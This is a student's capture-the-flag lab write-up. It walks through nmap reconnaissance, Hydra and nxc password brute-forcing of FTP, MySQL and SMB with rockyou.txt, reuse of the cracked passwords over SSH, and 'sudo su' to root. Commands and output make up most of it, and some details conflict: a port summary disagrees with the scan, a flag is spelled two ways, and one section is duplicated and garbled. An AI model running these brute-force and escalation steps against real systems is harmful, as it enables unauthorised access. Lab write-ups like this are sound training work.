

Bi-Weekly Assignment

Ayeni Princess

The assignment says to leverage the skills and technique acquired throughout the network service exploitation module to identify and exploit vulnerabilities for FTP, MYSQL, SMB and SSH services running on the VM. The goal is to retrieve all available flags and document process.

1. Reconnaissance Phase: Identifying the Target IP Address

The first thing I did was to find out what the IP address of the target machine was. To do this, I performed a ping scan (`nmap -sn`) on my local subnet.

```
root@kali:~# nmap -sn 192.168.255.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-08 04:38 EDT
Nmap scan report for 192.168.255.1
Host is up (0.0000ms latency).
MAC Address: 08:00:27:3C:1F:14 (VMware)
Nmap scan report for 192.168.255.129
Host is up (0.0012s latency).
MAC Address: 08:00:27:3C:1F:14 (VMware)
Nmap scan report for 192.168.255.254
Host is up (0.0018s latency).
MAC Address: 08:00:27:3C:1F:14 (VMware)
Nmap scan report for 192.168.255.128
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.17 seconds
```

This command scanned all the devices in the subnet `192.168.255.0/24` . From the output, I was able to identify my own machine (which was `192.168.255.128`), the gateway/router, and two unknown IPs. I figured out the target machine by a process of elimination and this turned out to be the target machine: `192.168.255.129` .

2. Scanning for Open Ports and Services

Once I had the target IP, the next step was to find out which services were running on it. I did this using an Nmap scan:

```
(kali@kali) ~$  
$ nmap -v 192.168.255.129  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-08 04:52 EDT  
Nmap scan report for 192.168.255.129  
Host is up (0.00021s latency).  
Not shown: 995 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 3.0.5  
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)  
|_ -rw-r--r-- 1 0 0 0 Apr 05 06:38 HackTales_Access_Policy.txt  
|_ -rw-r--r-- 1 0 0 0 Apr 05 06:29 README.txt  
|_ ftp-syst:  
|_ STAT:  
|_ FTP server status:  
|_   Connected to ::ffff:192.168.255.128  
|_   Logged in as ftp  
|_   TYPE: ASCII  
|_   No session bandwidth limit  
|_   Session timeout in seconds is 300  
|_   Control connection is plain text  
|_   Data connections will be plain text  
|_   At session startup, client count was 1  
|_   vsftpd 3.0.5 - secure, fast, stable  
|_ End of status  
22/tcp    open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0) Command not found  
|_ ssh-hostkey:  
|_   256 71:d5:be:3b:6c:9e:64:16:e0:f0:80:a9:c9:f6:b8:54 (ECDSA)  
|_   256 49:d2:fe:57:6d:c2:8d:72:f2:be:3a:el:64:87:d4:22 (ED25519)  
3306/tcp  open  mysql        MySQL 8.0.41-0ubuntu0.24.04.1  
mysql-info:  
|_ Protocol: 10  
|_ Version: 8.0.41-0ubuntu0.24.04.1  
|_ Thread ID: 1252  
|_ Capabilities flags: 65535  
|_ Some Capabilities: IgnoreSigpipes, SupportsLoadDataLocal, ConnectWithDatabase, LongColumnFlag, Speaks41ProtocolOld, FoundRows, SupportsCompression, LongPassword, Supports4Auth, Speaks41ProtocolNew, SupportsTransactions, ODBCClient, InteractiveClient, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SwitchToSSLAfterHandshake, SupportsAuthPlugin, SupportsMultipleResults, SupportsMultipleStatements  
|_ Status: Autocommit  
|_ Salt: [jPL7QL?b=44?w13v8B8=s'  
|_ Auth Plugin Name: caching_sha2_password  
|_ MAC Address: 00:0C:29:1E:F3:6F (VMware)  
|_ Service Info: OSS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Host script results:  
_nbtstat: NetBIOS name: HACKTALES, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  
_smb2_time:  
|_ date: 2025-08-08T08:53:23  
|_ start_date: N/A
```

This command scanned for open ports and attempted to detect the services running on them.

Output Summary:

- **FTP** on port **21**
- **MySQL** on port **3306**
- **SMB** on port **445**
- **SSH** on port **22**

SERVICE 1: FTP (Port 21)

Brute-Forcing FTP Credentials

I began attempting to brute-force the FTP credentials using Hydra. I passed the username rami after so many guesses and the rockyou.txt wordlist (since I tried anonymous access and all i found was empty files)

```

(kali@kali)-[~]
└─$ hydra -l rami -P /usr/share/wordlists/rockyou.txt ftp://192.168.255.129
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-05 10:34:55
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:l/p:14344399), ~896525 tries per task
[DATA] attacking ftp://192.168.255.129:21/
[STATUS] 272.00 tries/min, 297 tries in 00:01h, 14344112 to do in 832:00h, 16 active
[STATUS] 277.33 tries/min, 832 tries in 00:03h, 14343507 to do in 861:00h, 16 active
[21][ftp] host: 192.168.255.129 login: rami password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-05 11:00:08

(kali@kali)-[~]
└─$ ftp 192.168.255.129
Connected to 192.168.255.129.
220 (vsFTPd 3.0.5)
Name (192.168.255.129:kali): rami
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||57205|)
150 Here comes the directory listing.
drwxrwxr-x  2 1000  1000          4096 Mar 26 10:53 2026-MackTalesKPIs
-rw-rw-r--  1 1000  1000          1008 Mar 26 10:51 HackTales-Employees.txt
-rw-rw-r--  1 1000  1000          386 Apr 09 14:21 Security-Notice.txt
-rw-rw-r--  1 1000  1000          136 Apr 09 10:48 flag.txt
226 Directory send OK.
ftp> more flag.txt
Well done!
Look around, the next step should be obvious, Databases are super helpful.

Here is FLAG1:
HACKTALES{g87_flag_from_FTP_fil3z}
ftp>

```

Hydra successfully found a valid login:

- **Username:** rami
- **Password:** password123

Once I got the credentials, I logged into the FTP server using the command: `ftp 192.168.255.129`

Then I entered the login details. Inside the server, I listed the files and found a file called `flag.txt`

I used the command 'more flag.txt' to read the file and **I found my first Flag!**

SERVICE 2: MySQL (Port 3306)

1. Brute-Forcing MySQL Credentials

I used Hydra again, this time targeting MySQL. I tried the same username and passed the rockyou.txt password list to hydra

```

(kali@kali)-[~]
└─$ hydra -s 3306 -l rami -P /usr/share/wordlists/rockyou.txt mysql://192.168.255.129
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

[INFORMATION] reading restore file ./hydra.restore
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-06 05:17:05
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:l/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://192.168.255.129:3306/
[STATUS] 72.00 tries/min, 72 tries in 00:01h, 14344327 to do in 3320:27h, 4 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 14344303 to do in 7470:00h, 4 active
[STATUS] 20.57 tries/min, 144 tries in 00:07h, 14344259 to do in 11621:31h, 4 active
[STATUS] 16.00 tries/min, 240 tries in 00:15h, 14344159 to do in 14941:50h, 4 active
[3306][mysql] host: 192.168.255.129 login: rami password: harrypotter
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-06 05:40:51

```

Eventually, Hydra returned valid credentials:

- **Username:** rami
- **Password:** harrypotter

2. Accessing MySQL

I accessed the database using:

```
(kali@kali)~$ mysql -h 192.168.255.129 -u rami -p harrypotter
Enter password:
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain
```

But i kept getting an error message "Self -signed certificate in certificate chain, then i started making research to understand what this meant and realized i needed to skip ssl in this case for it to work. Then i tried a new command:

```
(kali@kali)~$ mysql -h 192.168.255.129 -u rami -p harrypotter --ssl=0
Enter password:
ERROR 1049 (42000): Unknown database 'harrypotter'

(kali@kali)~$ mysql -h 192.168.255.129 -u rami -p --ssl=0
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1242
Server version: 8.0.41-0ubuntu0.24.04.1 (Ubuntu)
```

Then entered the password **harrypotter** .

Once inside, I listed the databases and found my **second flag** stored inside a table

```
MySQL [(none)]> show databases;
+-----+
| Database |
+-----+
| hacktales_db |
| information_schema |
| mysql |
| performance_schema |
| sys |
+-----+
5 rows in set (0.007 sec)

MySQL [(none)]> show hacktales_db;
ERROR 1049 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'hacktales_db' at line 1
MySQL [(none)]> use hacktales
ERROR 1049 (42000): Unknown database 'hacktales'
MySQL [(none)]> use hacktales_db
Reading table information for completion of table and column names
You can turn off this feature with -A

Database changed
MySQL [hacktales_db]> show tables;
+-----+
| Tables_in_hacktales_db |
+-----+
| flag |
| users |
+-----+
2 rows in set (0.002 sec)

MySQL [hacktales_db]> SELECT * FROM flag;
+----+-----+-----+
| id | name | flag |
+----+-----+-----+
| 1 | Flag2: MySQL Flag | HACKTALES{DAT4b4s3_dump93d_from_3306} |
+----+-----+-----+
1 row in set (0.008 sec)

MySQL [hacktales_db]> exit
```

SERVICE 3: SMB (Port 445)

Enumerating SMB Shares

To explore the SMB service, I used smbclient

```
(kali@kali) ~$ smbclient -L 192.168.255.129 -p 445 -N
smbclient -L 192.168.255.129 -p 445 -N
Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
Shared Documents Disk      Shared Documents
HackTales      Disk      HackTales
IPC$           IPC       IPC Service (hacktales server (Samba, Ubuntu))
```

From the listed shares, i tried accessing "HackTales" since I didn't find anything in Shared Documents so i used this command:

```
(kali@kali) ~$ smbclient //192.168.255.129/HackTales -U rami
Password for [WORKGROUP\rami]:
session setup failed: NT_STATUS_LOGON_FAILURE
```

Accessing the Share

To access the "HackTales" share, i needed to enter a password, so i decided to use Hydra again since this has worked so far, but to my surprise hydra didn't work. It kept saying it didn't support SMBv1

```
(kali@kali) ~$ hydra -l rami -P /usr/share/wordlists/rockyou.txt 192.168.255.129 smb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-06 05:38:46
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting. ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l1/p1:14344399), ~14344399 tries per task
[DATA] attacking smb://192.168.255.129:445/
[ERROR] target smb://192.168.255.129:445/ does not support SMBv1
```

So, i decided to try using 'nxc' command. I passed the username "rami" and the rockyou.txt password list to it as i have been doing but i was met with another error

```
(kali@kali) ~$ nxc smb 192.168.255.129 -u rami -p /usr/share/wordlists/rockyou.txt
SMB 192.168.255.129 445 HACKTALES [*] Unix - Samba (name:HACKTALES) (domain:HACKTALES) (signing:False) (SMBv1:False)
[05:41:45] ERROR UnicodeDecodeError: Could not decode password file. Make sure the file only contains UTF-8 characters.
ERROR You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'
```

I tried cleaning up the password list with several commands I found and finally got it sorted

```
(kali@kali)-[~]
$ iconv -f utf-8 -t -c /usr/share/wordlists/rockyou.txt -o clean_passwords.txt
iconv: conversion to '-c' is not supported
try 'iconv --help' or 'iconv --usage' for more information.

(kali@kali)-[~]
$ iconv -f utf-8 -t -c /usr/share/wordlists/rockyou.txt -o clean_passwords.txt
iconv: conversion to '-c' is not supported
try 'iconv --help' or 'iconv --usage' for more information.

(kali@kali)-[~]
$ file /usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt: Unicode text, UTF-8 text

(kali@kali)-[~]
$ cat /usr/share/wordlists/rockyou.txt | tr -cd '\x11\x12\x15\x40-\x176' > clean_password.txt

(kali@kali)-[~]
$ head clean_password.txt
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
```

SERVICE 3: SMB (Port 445)

Enumerating SMB Shares

To expose the SMB services used within

Since the SMB share is a browsable share, this folder, since 1990s and anything is shared

Management of user accounts

Accessing the Share

Now, it's time to try brute forcing again using 'nxc'

```
(kali@kali)-[~]
$ nxc smb 192.168.255.129 -u rami -p clean_password.txt

SMB 192.168.255.129 445 HACKTALES [*] Unix - Samba (name:HACKTALES) (domain:HACKTALES) (signing:False) (SMBv1:False)
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:123456 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:12345 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:123456789 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:password STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:iloveyou STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:princess STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:1234567 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:rockyou STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:12345678 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:abc123 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:nicole STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:daniel STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:babygirl STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:monkey STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:lovely STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:jessica STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:654321 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:michael STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:ashley STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:qwerty STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:111111 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:iloveu STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:000000 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:michelle STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:tigger STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:sunshine STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:chocolate STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:password1 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:soccer STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:anthony STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:friends STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:butterfly STATUS_LOGON_FAILURE
```

Finally found a valid login

```
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:emilienne STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:chocolate STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:password1 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:soccer STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:anthony STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:friends STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:butterfly STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:purple STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:angel STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:jordan STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:liverpool STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:justin STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:loveme STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:fuckyou STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:123123 STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:football STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:secret STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:andrea STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:carlos STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:jennifer STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:joshua STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [E] HACKTALES\rami:bubbles STATUS_LOGON_FAILURE
SMB 192.168.255.129 445 HACKTALES [*] HACKTALES\rami:1234567890
```

- Username: **rami**
- Password: **1234567890**

I attempted to access the 'Hacktales' share again since I now have a password

```
(kali@kali)-[~]
$ smbclient //192.168.255.129/HackTales -U rami
Password for [WORKGROUP\rami]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Wed Apr  9 10:34:41 2025
..               D          0   Wed Apr  9 10:34:41 2025
id_rsa           N       2602 Wed Apr  9 10:32:32 2025
flag.txt         N         55 Wed Apr  9 10:34:41 2025

20463184 blocks of size 1024. 11575484 blocks available
smb: \> more flag.txt
getting file \flag.txt of size 55 as /tmp/smbmore.4d47JS (9.0 KiloBytes/sec) (average 9.0 KiloBytes/sec)
smb: \> exit
```

I listed the content of the share and fortunately, I found the flag.txt file and used the 'more' command to read it

```
Here's your flag3!

HACKTALES{5mb_5h4re_n07_S0_s3cur3}
/tmp/smbmore.4d47JS (END)
```

Found my 3rd Flag!

SERVICE 4: SSH (Port 22)

I Connected to the SSH service using the same username I have been using all along 'rami'

```
(kali@kali)-[~]
$ ssh rami@192.168.255.129
Warning: Permanently added '192.168.255.129' (ED25519) to the list of known hosts.
rami@192.168.255.129's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro
```

i was prompted to enter a password, at this time I have successfully brute forced 3 passwords so i thought to try them first before deciding to do anything else. Fortunately, one of the password worked: 'password123'

```

rami@hacktales:~$ ls
ftp
rami@hacktales:~$ cd ftp
rami@hacktales:~/ftp$ ls
2026-HackTalesKPIs  flag.txt  HackTales-Employees.txt  Security-Notice.txt
rami@hacktales:~/ftp$ cat flag.txt
WeUdone!
look around, the next step should be obvious, Databases are super helpful.

Here is FLAG1:
HACKTALES{g07_flag_from_FTP_fil3z}
rami@hacktales:~/ftp$
rami@hacktales:~/ftp$ cd ..
rami@hacktales:~$ ls -la
total 52
drwxr-xr-x 5 rami rami 4096 Apr  9 14:34 .
drwxr-xr-x 3 root root 4096 Mar 26 10:54 ..
-rw-r--r-- 1 rami rami 3591 Apr 13 21:51 .bash_history
-rw-r--r-- 1 rami rami 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 rami rami 3771 Mar 31 2024 .bashrc
-rwxr-xr-x 2 rami rami 4096 Mar 26 10:50 .cache
drwxrwxr-x 3 rami rami 4096 Apr  9 14:21 ftp
-rw-r--r-- 1 rami rami 20 Mar 26 11:59 .lessht
-rw-r--r-- 1 rami rami 807 Mar 31 2024 .profile
-rwxr-xr-x 2 rami rami 4096 Apr  9 14:18 .ssh
-rw-r--r-- 1 rami rami 0 Mar 26 10:03 .sudo_as_admin_successful
-rw-r--r-- 1 rami rami 9721 Apr  9 14:34 .viminfo

```

I tried listing content using 'ls' since I was in and after moving into the FTP directory, I found a flag.txt file but unfortunately it wasn't the flag I expected to see, it was 'flag1' which i found earlier. I needed to find 'flag4'

```

rami@hacktales:~$ sudo su
[sudo] password for rami:
root@hacktales:/home/rami# ls -la
total 56
drwxr-xr-x 5 rami rami 4096 Apr  9 14:34 .
drwxr-xr-x 3 root root 4096 Mar 26 10:54 ..
-rw-r--r-- 1 rami rami 4742 Aug  7 11:14 .bash_history
-rw-r--r-- 1 rami rami 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 rami rami 3771 Mar 31 2024 .bashrc
-rwxr-xr-x 2 rami rami 4096 Mar 26 10:50 .cache
drwxrwxr-x 3 rami rami 4096 Apr  9 14:21 ftp
-rw-r--r-- 1 rami rami 20 Mar 26 11:59 .lessht
-rw-r--r-- 1 rami rami 807 Mar 31 2024 .profile
-rwxr-xr-x 2 rami rami 4096 Apr  9 14:18 .ssh
-rw-r--r-- 1 rami rami 0 Mar 26 10:03 .sudo_as_admin_successful
-rw-r--r-- 1 rami rami 9721 Apr  9 14:34 .viminfo
root@hacktales:/home/rami# cd /root
root@hacktales:/root# ls -la
total 44
drwxr-xr-x 4 root root 4096 Apr  9 16:03 .
drwxr-xr-x 3 root root 4096 Mar 26 10:54 ..
-rw-r--r-- 1 root root 1151 Aug  7 11:05 .bash_history
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
-rw-r--r-- 1 root root 96 Apr  9 10:50 flag.txt
drwxr-xr-x 3 root root 4096 Apr  5 03:06 local
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
-rwxr-xr-x 2 root root 4096 Mar 26 10:54 .ssh
-rw-r--r-- 1 root root 10287 Apr  9 16:03 .viminfo
root@hacktales:/home/rami# cat /root/flag.txt
Awesome!!
Not so hard was it? Here's your final flag!

FLAG 4:
HACKTALES{ssh_0wn3d_r00t_4cce55}

```

Retrieving 'Flag4' was the most difficult for me. it took quite bit of time. I had to think outside the box since i have done everything i could and i was sure i wasn't going to find the flag with 'rami' as the user. So, i decided to switch user. Fortunately, the sudo password was the same one I used earlier. Confirmed the new user using the command 'whoami'. I am now a root user.

As root, I listed the root directory contents then saw a file named `flag.txt` . I opened it:

This was my **fourth and final flag!**

Conclusion

I was able to successfully retrieve all four flags from the FTP, MySQL, SMB, and SSH services. This exercise helped me understand how to enumerate services,

brute-force credentials, navigate file systems, access databases, and perform basic privilege escalation.